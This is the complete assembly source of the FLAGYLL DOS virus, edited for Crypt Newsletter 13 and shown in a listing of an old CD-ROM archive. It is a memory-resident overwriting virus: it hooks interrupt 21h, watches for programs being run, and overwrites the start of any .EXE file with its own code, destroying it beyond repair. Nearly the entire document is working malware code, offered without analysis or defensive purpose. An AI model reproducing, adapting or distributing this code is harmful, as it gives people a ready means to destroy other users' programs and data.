home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT13.ZIP / FLAGYLL.ASM < prev    next >
Assembly Source File  |  1993-02-24  |  6KB  |  237 lines

  1. ;FLAGYLL virus - edited for Crypt Newsletter 13               
  2. ;FLAGYLL is a memory resident, overwriting virus which
  3. ;infects and destroys .EXE files on load.
  4. ;It updates the infected files time/date stamps to the time of
  5. ;infection so it can easily be followed.
  6. ;.EXE's infected by FLAGYLL are destroyed.  DOS will either
  7. ;refuse to load them or FLAGYLL will become resident
  8. ;as they execute.  These programs are ruined and can only
  9. ;be deleted.
  10.            
  11.            .radix 16
  12.      cseg       segment
  13.         model  small
  14.         assume cs:cseg, ds:cseg, es:cseg
  15.  
  16.         org 100h
  17.  
  18. oi21            equ endflagyll
  19. filelength      equ endflagyll - begin
  20. nameptr         equ endflagyll+4
  21. DTA             equ endflagyll+8
  22.  
  23.      
  24.  
  25.  
  26.  
  27.  
  28.           
  29. begin:          jmp     install_flagyll                              
  30.  
  31.           
  32.  
  33.                          ; install
  34. install_flagyll:  
  35.         
  36.         mov     ax,cs                    ; reduce memory size     
  37.         dec     ax                           
  38.         mov     ds,ax                        
  39.         cmp     byte ptr ds:[0000],5a    ; check if last memory     
  40.         jne     cancel                   ; block     
  41.         mov     ax,ds:[0003]                 
  42.         sub     ax,100                   ; decrease memory     
  43.         mov     ds:0003,ax
  44.  
  45.  
  46. copy_flagyll:  
  47.         mov     bx,ax                    ; copy to claimed block  
  48.         mov     ax,es                    ; PSP    
  49.         add     ax,bx                    ; virus start in memory   
  50.         mov     es,ax
  51.         mov     cx,offset endflagyll - begin  ; cx = length of virus                  
  52.         mov     ax,ds                    ; restore ds   
  53.         inc     ax
  54.         mov     ds,ax
  55.         lea     si,ds:[begin]            ; point to start of virus
  56.         lea     di,es:0100               ; point to destination   
  57.         rep     movsb                    ; copy virus in memory   
  58.                              
  59.  
  60.  
  61. hook_21:                                     
  62.         
  63.         mov     ds,cx                   ; hook interrupt 21h
  64.         mov     si,0084h                ; 
  65.         mov     di,offset oi21
  66.         mov     dx,offset check_exec
  67.         lodsw
  68.         cmp     ax,dx                   ;
  69.         je      cancel                  ; exit, if already installed
  70.         stosw
  71.         movsw
  72.         
  73.         push    es 
  74.         pop     ds
  75.         mov     ax,2521h                ; revector int 21h to virus
  76.         int     21h
  77.                      
  78. cancel:         ret          
  79.  
  80. check_exec:                                    ; look over loaded files
  81.         pushf                          ; for executables
  82.  
  83.         push    es                     ; push everything onto the
  84.         push    ds                     ; stack
  85.         push    ax
  86.         push    bx
  87.         push    dx
  88.  
  89.         cmp     ax,04B00h               ; is a file being 
  90.                         ; executed ?
  91.         
  92.         
  93.         jne     abort                   ; no, exit
  94.  
  95. do_infect:      
  96.         call    infect                  ; then try to infect
  97.         
  98. abort:                                        ; restore everything
  99.         pop     dx
  100.         pop     bx
  101.         pop     ax
  102.         pop     ds
  103.         pop     es
  104.         popf
  105.  
  106. exit:      
  107.                          ; exit
  108.         jmp     dword ptr cs:[oi21]                     
  109.  
  110. infect:          
  111.         jmp     over_id              ; it's a vanity thing
  112.  
  113. note:           db      '-=[Crypt Newsletter 13]=-'
  114.  
  115.  
  116. over_id:        
  117.  
  118.  
  119.  
  120.         mov     cs:[name_seg],ds       ; this routine
  121.         mov     cs:[name_off],dx       ; essentially grabs
  122.                            ; the name of the file
  123.         cld                             ; clear direction flags
  124.         mov     word ptr cs:[nameptr],dx ; save pointer to the filename
  125.         mov     word ptr cs:[nameptr+2],ds
  126.  
  127.         mov     ah,2Fh                    ; get old DTA
  128.         int     21h
  129.         push    es
  130.         push    bx
  131.  
  132.         push    cs                        ; set new DTA
  133.  
  134.         pop     ds
  135.         mov     dx,offset DTA
  136.         mov     ah,1Ah
  137.         int     21h
  138.  
  139.         call    host_ident              ; find filename for virus
  140.         push    di
  141.         mov     si,offset COM_txt       ; is extension 'COM' ?
  142.  
  143.         mov     cx,3
  144.      rep    cmpsb 
  145.         pop     di
  146.         jz      return                  ; if so, let it pass by
  147.         mov     si,offset EXE_txt       ; is extension .EXE ?
  148.         nop
  149.         mov     cl,3
  150.         rep     cmpsb
  151.         jnz     return
  152.  
  153.  
  154.  
  155. do_exe:                                      ; infect host, destroying it
  156.         
  157.         mov     ax,4300h             ; clear attributes
  158.         mov     ds,cs:[name_seg]
  159.         mov     dx,cs:[name_off]
  160.         int     21h
  161.         and     cl,0FEh                
  162.         mov     ax,4301h
  163.         int     21h               
  164.         
  165.         mov     ds,cs:[name_seg]   ; open file read/write
  166.         mov     dx,cs:[name_off]
  167.         mov     ax,3D02h             
  168.         int     21h            
  169.         jc      close_file
  170.         push    cs
  171.         pop     ds
  172.         mov     [handle],ax          
  173.         mov     bx,ax               
  174.         
  175.         push    cs
  176.         pop     ds
  177.         mov     ax,4200h       ;set pointer to beginning of host
  178.         
  179.         push    cs
  180.         pop     ds
  181.         mov     bx,[handle]    ;handle to BX
  182.         xor     cx,cx
  183.         xor     dx,dx
  184.         int     21h
  185.         
  186.         
  187.         
  188.         mov     ah,40          ;write to file
  189.         mov     cx,filelength  ;virus length in cx    
  190.         mov     dx,100         ;start write at beginning of Flagyll
  191.         int     21h            ;do it
  192.         
  193. close_file:     mov     bx,[handle]
  194.         mov     ah,03Eh        ;close file, name -->BX            
  195.         int     21h
  196.         
  197.         mov     ax,4C00h       ;exit to DOS
  198.         int     21h
  199.  
  200.  
  201.  
  202.         
  203. return:         mov     ah,1Ah                 
  204.         pop     dx              ; restore old DTA
  205.         pop     ds
  206.         int     21H
  207.  
  208.         ret                     ; let DOS regain control       
  209.  
  210.  
  211. host_ident:     les     di,dword ptr cs:[nameptr]  ; finds filename for
  212.         mov     ch,0FFh                    ; host selection
  213.         mov     al,0
  214.      repnz  scasb
  215.         sub     di,4
  216.         ret
  217.  
  218.  
  219.         
  220.  
  221. EXE_txt         db  'EXE',0      ; extension masks
  222. COM_txt         db  'COM',0      ; for host selection
  223.  
  224. name_seg        dw  ?            ;data buffers for
  225. name_off        dw  ?            ; viral use on the fly
  226. handle          dw  ?
  227.  
  228. note2:           db     'Flagyll'     ; virus name
  229.  
  230. endflagyll:
  231.  
  232. cseg            ends
  233.         end begin
  234.  
  235.  
  236.  
  237.